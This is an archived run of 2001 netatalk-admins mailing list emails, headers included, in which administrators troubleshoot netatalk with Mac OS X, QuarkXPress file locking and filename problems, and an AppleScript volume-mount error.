	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA04448
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 10:09:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA04432
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 10:09:50 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA04417
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 10:09:49 -0400 (EDT)
Received: from math.ohio-state.edu (hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.6/8.11.6) with ESMTP id f8HE9kR27621;
	Mon, 17 Sep 2001 10:09:46 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 618DB19DFA0; Mon, 17 Sep 2001 10:09:46 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 5340FE6B97; Mon, 17 Sep 2001 10:09:46 -0400 (EDT)
Date: Mon, 17 Sep 2001 10:09:46 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
X-X-Sender:  <ccunning@localhost.localdomain>
To: Christophe Raffalli <Christophe.Raffalli@univ-savoie.fr>
Cc: <chad@objectwerks.com>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: netatalk and MAC OS X
In-Reply-To: <3BA5E040.F9EFF7F5@univ-savoie.fr>
Message-ID: <Pine.LNX.4.33.0109171009240.14217-100000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-RAVMilter-Version: 8.2(snapshot 20010817) (mathserv)



On Mon, 17 Sep 2001, Christophe Raffalli wrote:

> I have the 1.5pre6 undir Linux Mandrake 7.1 and Mac OS X 10.0.4.
>
> Could you send your configuration file please, it may be a problem with the
> config files bundled with the mandrake distribution ?

Update to pre7, it fixes this problem, at least on all of my machines.

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Mon Sep 17 10:14:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13955
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 10:14:48 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA29228
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 10:14:48 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA29206
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 10:14:46 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA29072
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 10:14:36 -0400 (EDT)
Received: (qmail 11026 invoked by uid 104); 17 Sep 2001 14:14:36 -0000
Received: from cwg-dated-716761dda0fbab02@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4158. . Clean. Processed in 0.645802 secs); 17/09/2001 09:14:35
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-716761dda0fbab02@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 17 Sep 2001 14:14:34 -0000
Received: (qmail 28041 invoked by alias); 17 Sep 2001 14:14:32 -0000
From: "Chris Garrigues" <cwg-dated-716761dda0fbab02@deepeddy.com>
Received: (qmail 28008 invoked from network); 17 Sep 2001 14:14:31 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <chad@objectwerks.com@fixme>; 17 Sep 2001 14:14:31 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: chad@objectwerks.com
Cc: Christophe Raffalli <Christophe.Raffalli@univ-savoie.fr>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: netatalk and MAC OS X 
In-Reply-To: <141162262.1000710253@[192.168.99.66]> 
References: <3BA5D0B4.E7C5AC7D@univ-savoie.fr> <141162262.1000710253@[192.168.99.66]>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-545235849P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 17 Sep 2001 09:14:31 -0500
Message-ID: <28004.1000736071@deepeddy.com>
Mail-Reply-To: cwg-dated-716761dda0fbab02@DeepEddy.Com

--==_Exmh_-545235849P
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

> From:  "Chad Leigh, ObjectWerks, Inc." <chad@objectwerks.com>
> Date:  Mon, 17 Sep 2001 07:04:14 -0400
>
> I have not done a lot of testing but my Mac OS X boxes have had no prob=
lem =

> mounting volumes on my netatalk server and reading and writing to and f=
rom =

> them (using the Mac OS X mounter in the menu).  I have 1.5pre7 on FreeB=
SD =

> 4.4-RC4.  Mac OS X 10.0.4.

I don't see an RPM for 1.5pre7 on sourceforge.  Does anyone have one yet?=


Chris

-- =

Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   =

Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html =


    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-545235849P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7pgVHK9b4h5R0IUIRAjJ0AKCDG3HknRga1NL9Qfpr2ncETZdpUwCfUWdH
fVO5xbO2UeEddOBjKHJ2qfI=
=JCzT
-----END PGP SIGNATURE-----

--==_Exmh_-545235849P--

From netatalk.administrators-errors@umich.edu  Mon Sep 17 13:39:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25620
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 13:39:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA23155
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 13:39:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA23147
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 13:39:26 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA23124
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 13:39:25 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.6/8.11.0) with ESMTP id f8HHdJh18504;
	Mon, 17 Sep 2001 10:39:20 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 17 Sep 2001 10:39:16 -0700
Subject: Re: [Netatalk-devel] CNID Working?
From: Steve Freitas <sflist@ihonk.com>
To: Lawrence Farr <netatalk@epcdirect.co.uk>
CC: "'netatalk-admins'" <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Message-ID: <B7CB8354.7A05%sflist@ihonk.com>
In-Reply-To: <000701c13f79$174cb3e0$c807a8c0@lfarr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Lawrence,

> FreeBSD 4.x. I'm interested in whether they got any conclusive data on
> Linux vs. Quark.

Can you and Joe compare notes to see why Quark is working okay for him and
not you? Differences may include:

FreeBSD kernel versions
Quark versions
Quark save methods, preview, etc.
Filesystems
Netatalk patches
Etc...

Steve


From netatalk.administrators-errors@umich.edu  Mon Sep 17 14:27:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA27637
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Sep 2001 14:27:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA05372
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Sep 2001 14:27:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA05365
	for netatalk.administrators-members@umich.edu; Mon, 17 Sep 2001 14:27:04 -0400 (EDT)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA05343
	for <netatalk-admins@umich.edu>; Mon, 17 Sep 2001 14:27:03 -0400 (EDT)
Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.3/8.11.3) with ESMTP id f8HIPE507334;
	Mon, 17 Sep 2001 14:25:14 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f8HIRA471968;
	Mon, 17 Sep 2001 14:27:10 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Mon, 17 Sep 2001 14:27:10 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Steve Freitas <sflist@ihonk.com>
cc: Lawrence Farr <netatalk@epcdirect.co.uk>,
        "'netatalk-admins'" <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] CNID Working?
In-Reply-To: <B7CB8354.7A05%sflist@ihonk.com>
Message-ID: <20010917142447.D69881-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I think Lawrence and I are on the same page.  My server is a FreeBSD
4.2-BETA (released right before 4.3-RELEASE) with last-did.  I'm not using
SOFTUPDATES on my AFP volumes, and they are mounted synchronously.

SOFTUPDATES caused some problems with AFP, and so I've disabled it.  I may
reenable them when I upgrade to 4.4.  So far my users haven't been
complaining (after upgrading to 1.5pre6 and not saving with preview).  I
can ask them again if this is still a problem.

Joe

On Mon, 17 Sep 2001, Steve Freitas wrote:

> Lawrence,
>
> > FreeBSD 4.x. I'm interested in whether they got any conclusive data on
> > Linux vs. Quark.
>
> Can you and Joe compare notes to see why Quark is working okay for him and
> not you? Differences may include:
>
> FreeBSD kernel versions
> Quark versions
> Quark save methods, preview, etc.
> Filesystems
> Netatalk patches
> Etc...
>
> Steve
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Tue Sep 18 04:27:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA00687
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 04:27:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA18500
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 04:27:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA18486
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 04:27:25 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA18459
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 04:27:23 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.6/8.11.0) with ESMTP id f8I8RLh20520;
	Tue, 18 Sep 2001 01:27:22 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 18 Sep 2001 01:27:04 -0700
Subject: HELP: Request for Information!
From: Steve Freitas <sflist@ihonk.com>
To: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Message-ID: <B7CC5368.7A9B%sflist@ihonk.com>
In-Reply-To: <20010918035753.U75069-100000@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi folks,

I'm trying to do a non-programmer's job of tracking down the culprit behind
the sometimes difficult relationship between Quark and Netatalk.

We've got a complicated set of datapoints. Could those with non-working and
working Quark installations supply the mailing list with a few points of
information?

I know a few of you have done this, but I'd like to generate a fresh report.
Information is needed such as...

1. Netatalk version (+ any patches), plus compile-time options if you
compiled it (specifically locking-related options). If you didn't compile
it, note the specific binary package used so the package generator can tell
us about it.

2. Server operating system, with kernel version and filesystem type. If you
know of any strange issues with these, let us know. (E.g., I believe Linux
2.2's locking code was flaky, don't know if that's fixed on 2.4. TcX cited
this as a reason for not supporting row-level locking on MySQL, I believe.)

3. Client operating system and version

4. Quark version

5. Quark save method (with/without previews, any other options)

6. Whether it works, doesn't work, or partially works. If it doesn't work,
what does it report?

Hopefully we can build a little matrix and find a clue or three.

Thanks!

Steve


From netatalk.administrators-errors@umich.edu  Tue Sep 18 04:47:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA01351
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 04:47:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA22932
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 04:47:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA22921
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 04:47:37 -0400 (EDT)
Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA22889
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 04:47:36 -0400 (EDT)
Received: from smtp.netcase.nl (netcase.xs4all.nl [213.84.213.164])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id KAA05823;
	Tue, 18 Sep 2001 10:47:27 +0200 (CEST)
Received: from netcase.nl (neptune.netcase.nl [10.0.0.10])
	by smtp.netcase.nl (Postfix) with ESMTP
	id B7F921F6A8; Tue, 18 Sep 2001 10:47:26 +0200 (CEST)
Message-ID: <3BA70A03.57B2356A@netcase.nl>
Date: Tue, 18 Sep 2001 10:46:59 +0200
From: Nicky Haan <nicky@netcase.nl>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Steve Freitas <sflist@ihonk.com>
Cc: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Subject: Re: HELP: Request for Information!
References: <B7CC5368.7A9B%sflist@ihonk.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

from what i think happens with quark is really a problem with filenames, i
noticed that DTP ppl really like using / $ % * : and so on in filenames, these
obviously get screwed if u put them on an appeltalk unix machine.
For your information the awnsers to the questions:
1) netatalk-1.5pre6-1mdk und mandrake 8.0,  had the same problems on a self
compiled version under rh 6.1 (cant remember what version atalk was but the
newest there was about august 2000

2) rh was 2.2 kernel and ext 2 and mandrake is 2.4 kernel with riserfs

3) mac os 9.01 and 9.04

4) quark passport 4.1

5) with preview and single language files

6) the redhat system didnt work at all, the mandrake one does better but still
not satisfiing, dont know the error messages (but as i said above i think
atleast 95 % of the problem is the filenames)

hope this helps


Steve Freitas wrote:

> Hi folks,
>
> I'm trying to do a non-programmer's job of tracking down the culprit behind
> the sometimes difficult relationship between Quark and Netatalk.
>
> We've got a complicated set of datapoints. Could those with non-working and
> working Quark installations supply the mailing list with a few points of
> information?
>
> I know a few of you have done this, but I'd like to generate a fresh report.
> Information is needed such as...
>
> 1. Netatalk version (+ any patches), plus compile-time options if you
> compiled it (specifically locking-related options). If you didn't compile
> it, note the specific binary package used so the package generator can tell
> us about it.
>
> 2. Server operating system, with kernel version and filesystem type. If you
> know of any strange issues with these, let us know. (E.g., I believe Linux
> 2.2's locking code was flaky, don't know if that's fixed on 2.4. TcX cited
> this as a reason for not supporting row-level locking on MySQL, I believe.)
>
> 3. Client operating system and version
>
> 4. Quark version
>
> 5. Quark save method (with/without previews, any other options)
>
> 6. Whether it works, doesn't work, or partially works. If it doesn't work,
> what does it report?
>
> Hopefully we can build a little matrix and find a clue or three.
>
> Thanks!
>
> Steve

--
----------------------------------------
Nicky Haan
Unix/Linux Sysadmin / Systems Engineer
NetCASE Interactive Solutions
Dr. Nolenslaan 140
6136 GV Sittard
Netherlands
Tel: +31(0)46 420 1880
Fax: +31(0)46 420 1881
E-Mail: Nicky@netcase.nl
Web: www.netcase.nl
----------------------------------------



From netatalk.administrators-errors@umich.edu  Tue Sep 18 05:34:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA02806
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 05:34:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA20447
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 05:34:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA20430
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 05:34:32 -0400 (EDT)
Received: from mta6-rme.xtra.co.nz (mta6-rme.xtra.co.nz [203.96.92.19])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA20363
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 05:34:30 -0400 (EDT)
Received: from [192.168.1.112] ([210.54.226.2]) by mta6-rme.xtra.co.nz
          with ESMTP
          id <20010918093428.NHSX1929732.mta6-rme.xtra.co.nz@[192.168.1.112]>;
          Tue, 18 Sep 2001 21:34:28 +1200
Mime-Version: 1.0
X-Sender: darena6@pop3.xtra.co.nz
Message-Id: <p05101003b7ccbfdb18f5@[192.168.1.112]>
In-Reply-To: <B7CC5368.7A9B%sflist@ihonk.com>
References: <B7CC5368.7A9B%sflist@ihonk.com>
Date: Tue, 18 Sep 2001 21:34:22 +1200
To: Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
From: Marcus Radich <marcus@darena.co.nz>
Subject: Re: HELP: Request for Information!
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Greetings.

My company supplies IBM x200 servers preconfigured to netatalk and 
samba for Mac and PC publishing environments.

Our netatalk drama:
- We were using asun2.13 for a long time, but then with the intro of 
the G4 - we had a problem with disconnects. I emailed adrian and he 
told me to use 2.14 - he had just solved the disconnect issue with 
2.14.
- We installed 2.14 on our problem servers, and it solved the 
disconnect issue! Great......but.....then some operators were 
complaining that their files were "already open by another user" etc 
etc.
- Read through adrian's notes in the ReadMe and found this line:
"    byte locks should now work. if you want to enable the old way
         of doing things, add -DUSE_FLOCK_LOCKS."
I added this to our compile options - and the Quark 'open' problems went away.
This was all back in late 1999, and we have used asun2.14-37b since.

We have over 30 servers running with this config, and all works well. 
We used to have the occasional problem with folders ending up in the 
trash - but since switching to ReiserFS - no problems have shown up 
(Fingers crossed).

Here is our latest config:
Hardware: IBM x200 e-series, Promise Ultra-100 ide card, IBM Disks.
OS: Mandrake 8.0 with all updates. Software-RAID with ReiserFS.
netatalk version: asun2.14 pre37b
compile options: DEFS= -DUSE_FLOCK_LOCKS

Macs:
OS 8.1 through to 9.2.1
Appleshare client 3.8.3 minimum
QuarkXPress 3.32r5 and 4.11

Quark files saved with previews on.

Any tests anyone wants me to run, let me know.

Marcus



At 1:27 AM -0700 18/9/2001, Steve Freitas wrote:
>Hi folks,
>
>I'm trying to do a non-programmer's job of tracking down the culprit behind
>the sometimes difficult relationship between Quark and Netatalk.
>
>We've got a complicated set of datapoints. Could those with non-working and
>working Quark installations supply the mailing list with a few points of
>information?
>
>I know a few of you have done this, but I'd like to generate a fresh report.
>Information is needed such as...
>
>1. Netatalk version (+ any patches), plus compile-time options if you
>compiled it (specifically locking-related options). If you didn't compile
>it, note the specific binary package used so the package generator can tell
>us about it.
>
>2. Server operating system, with kernel version and filesystem type. If you
>know of any strange issues with these, let us know. (E.g., I believe Linux
>2.2's locking code was flaky, don't know if that's fixed on 2.4. TcX cited
>this as a reason for not supporting row-level locking on MySQL, I believe.)
>
>3. Client operating system and version
>
>4. Quark version
>
>5. Quark save method (with/without previews, any other options)
>
>6. Whether it works, doesn't work, or partially works. If it doesn't work,
>what does it report?
>
>Hopefully we can build a little matrix and find a clue or three.
>
>Thanks!
>
>Steve


-- 
========================================================

"Always ask the question, never assume the answer."
		Marcus Radich 1999

========================================================

From netatalk.administrators-errors@umich.edu  Tue Sep 18 06:46:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA05047
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 06:46:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA15323
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 06:46:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA15308
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 06:46:28 -0400 (EDT)
Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA15262
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 06:46:27 -0400 (EDT)
Received: from sibaz.com ([213.104.154.13]) by mta06-svc.ntlworld.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010918104625.TGXC268.mta06-svc.ntlworld.com@sibaz.com>;
          Tue, 18 Sep 2001 11:46:25 +0100
Message-ID: <3BA72578.A92B3224@sibaz.com>
Date: Tue, 18 Sep 2001 11:44:08 +0100
From: Simon Bazley <sibaz@sibaz.com>
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en-GB,en,en-US
MIME-Version: 1.0
To: Steve Freitas <sflist@ihonk.com>
CC: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] HELP: Request for Information!
References: <B7CC5368.7A9B%sflist@ihonk.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

wasn't there an old post about this showing a site that had tracked the problem down to quark creating temporary files.  

It was something like, if you click on a quark document that is on a mounted share, then quark will create the temporary file at that location (on the server), wheras if you go file open, then find the same file in the open dialog, the temprary file is
created on a local file system.  

The issue was down to quarks use of its temporary file (which is basically a dump of the quark file in a dodgy order).  Quark uses a naughty bit of code that was in early macs file system, that was to do with opening a file, but not closing it, so you
still stored data, but didn't create a file (or something like that).  Anyway, Apple say its not something people should use, and most afpd's don't support it (and rightly so), but quark insists on keeping it, as it works locally, and on mac servers.  

Or are you talking about soemthing completely different.  

Simon

From netatalk.administrators-errors@umich.edu  Tue Sep 18 10:47:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12245
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 10:47:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA25442
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 10:47:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA25431
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 10:47:16 -0400 (EDT)
Received: from millions.linux-site.net (kato-stinger-2-ws-245.dsl.hickorytech.net [216.114.209.246])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA25418
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 10:47:14 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by millions.linux-site.net (8.11.0/8.11.0) with ESMTP id f8IElU412684
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 09:47:30 -0500
Date: Tue, 18 Sep 2001 09:47:30 -0500 (CDT)
From: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>
To: netatalk-admins@umich.edu
Subject: Error -1070 Parameter Error ??
Message-ID: <Pine.LNX.4.21.0109180944280.12682-100000@millions.linux-site.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello, I wrote to this list a short time ago asking about problems with
Netatalk in a classroom. We haven't yet figured out whether the upgrading
I've done will help, but we're now faced with a newer problem: 

I mentioned that we're using an AppleScript to connect to the netatalk
server. Previously I was using the MountVol scripting extension which uses
AppleTalk. I've modified the script to work with the MountIP scripting
extension which uses TCP/IP. The problem is this: The script usually
works, but sometimes it crashes with the following result:

"Error -1070 (Parameter Error) mounting volume!"

Usually a reboot of the Mac fixes the problem, but we'd prefer not having
to reboot our Macs several times a day.  Apple is really bad when it comes
to defining what those negative codes mean. ("What parameter has an
error???")

Any advice/help/suggestions??


-Flint Million



From netatalk.administrators-errors@umich.edu  Tue Sep 18 11:43:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16443
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 11:43:49 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA04578
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 11:43:48 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA04558
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 11:43:48 -0400 (EDT)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA04406
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 11:43:41 -0400 (EDT)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated)
	by max.hkust.se (8.11.6/8.11.6) with ESMTP id f8IFiNL17428;
	Tue, 18 Sep 2001 17:44:38 +0200
Message-ID: <3BA76B7D.774BC449@hkust.se>
Date: Tue, 18 Sep 2001 17:42:53 +0200
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
